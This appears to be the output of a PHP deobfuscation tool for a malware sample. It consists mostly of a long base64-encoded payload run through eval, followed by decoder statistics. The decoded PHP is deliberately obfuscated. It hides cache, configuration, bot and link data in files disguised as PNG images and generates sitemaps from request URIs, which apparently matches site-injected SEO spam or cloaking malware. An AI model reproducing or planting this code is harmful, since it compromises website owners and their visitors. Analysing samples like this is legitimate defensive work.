pciAnezB9JyBpcyBpbnZhbGlkIG9yIGlzIG5vdCB3cml0ZWFibGUgIiwkdGhpcy0+djQ1Nik7JHRoaXMtPnYxMj1fX19DXzY6OnQzKCdzaG9wLWNhY2hlJyk7fWZ1bmN0aW9uIHQxMTcoKXskdjQ2MT0nL15waWMtYnV0dG9uLWltZy1cZCtcLnBuZyQvaSc7JHY1Nj1vcGVuZGlyKCR0aGlzLT52NDU2KTt3aGlsZSgoJHY1Nz1yZWFkZGlyKCR2NTYpKSE9PWZhbHNlKXskdjk0PSR0aGlzLT52NDU2LkRJUkVDVE9SWV9TRVBBUkFUT1IuJHY1NztpZihwcmVnX21hdGNoKCR2NDYxLCR2NTcpKXtpZighdW5saW5rKCR2OTQpKXRocm93IG5ldyBfX19DXzEoJ2Nhbm5vdCBkZWxldGUgY2FjaGUgZmlsZSB7MH0nLCR2OTQpO319Y2xvc2VkaXIoJHY1Nik7fWZ1bmN0aW9uIHQxNTUoJHY5Myl7aWYoISR0aGlzLT52NDU5KXskdGhpcy0+djEyLT50NCgnY2FjaGUgZGlzYWJsZWQnKTtyZXR1cm4gZmFsc2U7fSR2OTQ9JHRoaXMtPnQyMjQoJHY5Myk7JHRoaXMtPnYxMi0+dDExOSgndHJ5IGxvYWQgZnJvbSB7MH0nLCR2OTQpOyR2MjQxPW5ldyBfX19DXzEzKCR2OTQpO2lmKCEkdjI0MS0+dDEyNygpKXskdGhpcy0+djEyLT50MTE5KCdjYWNoZSBub3QgZXhpc3RzIGJ5IHBhdGggezB9Jywkdjk0KTtyZXR1cm4gZmFsc2U7fSR2NTQ9JHYyNDEtPnQxMjIoKTtpZigodGltZSgpLSR2NTRbJ3RpbWUnXSk8JHRoaXMtPnY0NTcqMDcwMjApcmV0dXJuJHY1NFsnZGF0YSddO2Vsc2UgJHRoaXMtPnYxMi0+dDQoJ2NhY2hlIGlzIGV4cGlyZWQnKTtyZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIHQxMTYoJHY5MywkdjU0KXtpZighJHRoaXMtPnY0NTkpeyR0aGlzLT52MTItPnQ0KCdjYWNoZSBkaXNhYmxlZCcpO3JldHVybiBmYWxzZTt9JHY5ND0kdGhpcy0+dDIyNCgkdjkzKTskdjI0MT1uZXcgX19fQ18xMygkdjk0KTskdjMyOD1hcnJheSgndGltZSc9PnRpbWUoKSwnZGF0YSc9PiR2NTQpO3RyeXskdjI0MS0+dDEyOCgkdjMyOCk7fWNhdGNoKF9fX0NfMSR2MjMpeyR0aGlzLT52MTItPnQ0KCdlcnJvciB3cml0ZSBjYWNoZScsJHY5NCk7fX1mdW5jdGlvbiB0MjI0KCR2OTMpeyR2OTU9c3RyX3JlcGxhY2UoYXJyYXkoJ2h0dHA6Ly8nLCdodHRwczovLycsJ3d3dy4nLCdpbmRleC5waHAnLCcvJyksJycsc3RydG9sb3dlcigkdjkzKSk7JHYxMDE9c3Vic3RyKG1kNSgkdjk1KSwwMzMsMDUpOyR2NDYyPWhleGRlYygkdjEwMSk7cmV0dXJuJHRoaXMtPnY0NTYuInBpYy1idXR0b24taW1nLSIuJHY0NjIuIi5wbmciO319Y2xhc3MgX19fQ18zN3twcml2YXRlJHYxNzk7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYzNyl7JHRoaXMtPnYxNzk9JHYzNzt9ZnVuY3Rpb24gdDE5KCl7JHY0NjM9JHRoaXMtPnYxNzktPnQ0Mygnc2l0ZW1hcC5maWxlbmFtZScsJycpO2lmKGVtcHR5KCR2NDYzKSlyZXR1cm4gZmFsc2U7JHY0NjQ9c3RydG9sb3dlcigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7cmV0dXJuJHRoaXMtPnQyMjUoJHY0NjQsJHY0NjMpO31mdW5jdGlvbiB0MjI1KCR2NDY1LCR2NDY2KXtyZXR1cm4kdjQ2Nj09PSIifHwoKCR2NDY3PXN0cmxlbigkdjQ2NSktc3RybGVuKCR2NDY2KSk+PTAwJiZzdHJwb3MoJHY0NjUsJHY0NjYsJHY0NjcpIT09ZmFsc2UpO319Y2xhc3MgX19fQ18zOHtwcml2YXRlJHYxNzk7cHJpdmF0ZSR2NDE4O3ByaXZhdGUkdjQ2OD0nUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaVZWUkdMVGdpUHo0Z0lDQWdJQ0FnSUFvOGRYSnNjMlYwSUhodGJHNXpQU0pvZEhSd09pOHZkM2QzTG5OcGRHVnRZWEJ6TG05eVp5OXpZMmhsYldGekwzTnBkR1Z0WVhBdk1DNDVJajRnSUNBZ0NudGtZWFJoZlNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FLUEM5MWNteHpaWFErSUE9PSc7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYzNywkdjQxOSl7JHRoaXMtPnYxNzk9JHYzNzskdGhpcy0+djQxOD0kdjQxOTt9ZnVuY3Rpb24gdDI4KCl7JHY0Njk9JHRoaXMtPnYxNzktPnQ0Mygnc2l0ZW1hcC5jaGFuZ2VmcmVxJywnJyk7JHYzNDk9JHRoaXMtPnY0MTgtPnQxMjIoKTskdjM0OT0kdjM0OVsnZGF0YSddOyR2NDMzPWFycmF5KCk7Zm9yZWFjaCgkdjM0OSBhcyR2NDI0KXskdjQzND1hcnJheSgpOyR2NDM0W109Ilx0PHVybD4iOyR2NDM0W109Ilx0XHQ8bG9jPiIuJHY0MjRbMDFdLiI8L2xvYz4iO2lmKCFlbXB0eSgkdjQ2OSkpeyR2NDM0W109Ilx0XHQ8Y2hhbmdlZnJlcT4iLiR2NDY5LiI8L2NoYW5nZWZyZXE+Ijt9JHY0MzRbXT0iXHQ8L3VybD4iOyR2NDMzW109am9pbigiXG4iLCR2NDM0KTt9JHY1ND1qb2luKCJcbiIsJHY0MzMpOyR2NDcwPWJhc2U2NF9kZWNvZGUoJHRoaXMtPnY0NjgpOyR2Nzk9c3RyX3JlcGxhY2UoJ3tkYXRhfScsJHY1NCwkdjQ3MCk7cmV0dXJuJHY3OTt9fWZ1bmN0aW9uIHQ2NSgkdjQ3MSwkdjQ3Mil7aWYoIWlzX2FycmF5KCR2NDcxKSBvciAhaXNfYXJyYXkoJHY0NzIpKXtyZXR1cm4kdjQ3Mjt9Zm9yZWFjaCgkdjQ3MiBhcyR2NDczPT4kdjQ3NCl7JHY0NzFbJHY0NzNdPXQ2NShAJHY0NzFbJHY0NzNdLCR2NDc0KTt9cmV0dXJuJHY0NzE7fSR2MTc9YXJyYXkoJ3BhZ2UubGlua3MuZmlsZSc9PidpbWctbG9nbzAucG5nJywnY29uZmlnLmZpbGUnPT4naW1nLWxvZ28xLnBuZycsJ2JvdC5maWxlJz0+J2ltZy1sb2dvMi5wbmcnLCdzc2wuZmlsZSc9PidpbWctbG9nbzMucG5nJywnZXJyb3IuZmlsZSc9PidpbWctbG9nbzUucG5nJywncGFnZS5hY2NvdW50aW5nLmZpbGUnPT4naW1nLWxvZ280LnBuZycpOyR2NDc1PW5ldyBfX19DXzUoJHYxNyk7JHY0NzUtPnQyKCk7dW5zZXQoJHY0NzUpOw==");eval($___d_ecvar);

Function Calls

base64_decode 1

Variables

$___d_ecvar define('___C_L_DEBUG',false);define('___VERSION',0623);defi..

Stats

MD5 49ff39108825d04d6aff8fdbac071d25
Eval Count 1
Decode Time 162 ms